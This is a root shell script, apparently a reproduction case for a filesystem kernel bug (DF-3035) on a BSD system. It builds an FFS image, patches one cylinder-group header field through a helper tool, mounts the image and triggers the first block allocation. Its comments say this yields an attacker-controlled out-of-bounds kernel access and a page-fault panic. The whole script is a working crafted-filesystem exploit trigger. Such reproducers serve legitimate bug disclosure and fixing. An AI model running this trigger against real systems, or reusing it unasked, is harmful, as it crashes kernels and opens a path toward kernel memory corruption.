#!/bin/sh
# DF-3035 — baseline reproduction (runs as ROOT in the guest).
#
# usage: setup3035.sh <field> <hexvalue>     e.g. setup3035.sh cgx 0x40000000
#
# Builds a small FFS image with newfs, patches ONE 32-bit field of the
# on-disk cylinder-group 0 header (the image is otherwise 100% consistent),
# mounts it read-write, and performs the very first data-block allocation
# on it (dd of one fs_bsize block).  The patched field is used unvalidated
# by the allocator, giving an attacker-offset out-of-bounds kernel access.
#
# Expected on the stock kernel: Fatal trap 12 (page fault) in
# ffs_clusteracct / ffs_alloccgblk (cgx), or in ffs_nodealloccg (iusedoff).
set -e
IMG=/tmp/df3035.img
VND=vn0
MNT=/mnt
FIELD=${1:-cgx}
VAL=${2:-0x40000000}
NOTRIGGER=${3:-}

dd if=/dev/zero of=$IMG bs=1m count=128 status=none
vnconfig -c $VND $IMG
newfs /dev/$VND > /tmp/newfs.out 2>&1
cat /tmp/newfs.out
vnconfig -u $VND

/tmp/cgxtool $IMG info
/tmp/cgxtool $IMG $FIELD $VAL

vnconfig -c $VND $IMG
mount /dev/$VND $MNT
echo "[*] crafted image mounted:"
mount | grep $VND

if [ -n "$NOTRIGGER" ]; then
	echo "[*] setup complete (no trigger requested)"
	exit 0
fi

echo "[*] triggering first allocation (dd 1 block) ..."
dd if=/dev/zero of=$MNT/t0 bs=16384 count=1 2>&1 || true
sync
echo "[!] ALLOCATION SURVIVED — no panic (unexpected on stock kernel)"
